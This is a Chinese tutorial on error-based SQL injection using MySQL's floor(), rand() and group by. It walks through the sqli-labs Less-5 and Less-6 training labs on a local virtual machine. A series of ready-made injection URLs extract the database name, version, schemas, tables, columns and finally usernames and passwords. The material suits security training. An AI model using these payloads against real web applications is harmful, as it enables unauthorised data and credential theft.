基于floor函数报错注入sqli-labs less-5和less-6

ops/2024/10/11 2:55:01/

sqli-labs第五六关基于floor报错注入

在这里插入图片描述

测试基于虚拟机搭建的靶场,在主机浏览器进行测试
首先能到第五关的对于基础的字符数字型判断,闭合方式,列数判断有一定了解,所以不再进行演示,直接进行数据爆破
关于floor函数报错注入详解可以参考:
关于floor()报错注入,你真的懂了吗?

floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

直接开始测试

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select database()),floor(rand(14)*2)) as a from information_schema.tables group by a --+
爆出数据库

在这里插入图片描述
版本

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select version()),floor(rand(14)*2)) as a from information_schema.tables group by a --+

在这里插入图片描述
爆出数据库

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select (schema_name) from information_schema.schemata limit 5,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+
可以修改limit函数的1来查看所有的数据库

在这里插入图片描述

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 3,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+
也可以修改limit函数查看所有表明

在这里插入图片描述
爆出列名

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+

在这里插入图片描述

爆出数据

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select concat(‘~’,username,password) from security.users limit 1,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+

在这里插入图片描述
至此,第五关的基本完成,第六关与第五关同理,只不过闭合方式不同,第六关闭合方式为",对于上面提及的文章,个人十分推崇。


http://www.ppmy.cn/ops/123776.html

相关文章

安装雷池社区版,保护网站安全

环境依赖 安装雷池前请确保你的系统环境符合以下要求 操作系统:LinuxCPU 指令架构:x86_64CPU 指令架构:支持 ssse3 指令集软件依赖:Docker 20.10.14 版本以上软件依赖:Docker Compose 2.0.0 版本以上最低资源需求&am…

239. 滑动窗口最大值

最初想法:用hashmap记录窗口中出现的数字的个数,maxNum记录当前窗口的最大数,当窗口滑动后左侧数个数减一,右侧数个数加一,同时查看原最大数的个数是否为0,如果为0:遍历当前hashmap中的key找到最…

【Nacos架构 原理】内核设计之Nacos一致性协议

文章目录 Nacos一致性协议为什么需要一致性协议Nacos选择了Raft(强一致性)&Distro(最终一致性)服务发现角度配置管理角度 Nacos自研Distro协议背景设计思想数据初始化数据校验写操作读操作 Nacos一致性协议 为什么需要一致性…

五、创建型(建造者模式)

建造者模式 概念 建造者模式是一种创建型设计模式,通过使用多个简单的对象一步步构建一个复杂的对象。它将一个复杂对象的构建过程与其表示分离,从而使同样的构建过程可以创建不同的表示。 应用场景 复杂对象构建:当一个对象有多个属性&…

k8s 中存储之 PV 持久卷 与 PVC 持久卷申请

目录 1 PV 与 PVC 介绍 1.1 PersistentVolume(持久卷,简称PV) 1.2 PersistentVolumeClaim(持久卷声明,简称PVC) 1.3 使用了PV和PVC之后,工作可以得到进一步的细分: 2 持久卷实验配置…

等保测评:如何建立有效的网络安全监测系统

等保测评中的网络安全监测系统建立 在建立等保测评中的网络安全监测系统时,应遵循以下步骤和策略: 确定安全等级和分类:首先,需要根据信息系统的安全性要求、资产的重要性和风险程度等因素,确定网络系统的安全等级&…

猿人学 — 第1届第13题(解题思路附源码)

猿人学 — 第1届第13题(解题思路附源码) 发现在翻页过程中,只要中途有几秒的间隔,那么就会显示拉取数据失败,然后网页重新加载回到刚进来显示的第一页的情况 重新加载时,会发送一系列的请求,发…

【QT Qucik】C++交互:接收QML信号

在本节课中,我们将深入探讨如何在C中接收QML发出的信号。我们将分为几个部分,详细说明信号的定义、发送及其在C中的接收。 理解信号和槽机制 Qt的信号与槽机制是一种用于对象之间通信的强大工具。信号是对象在特定事件发生时发送的通知,而槽…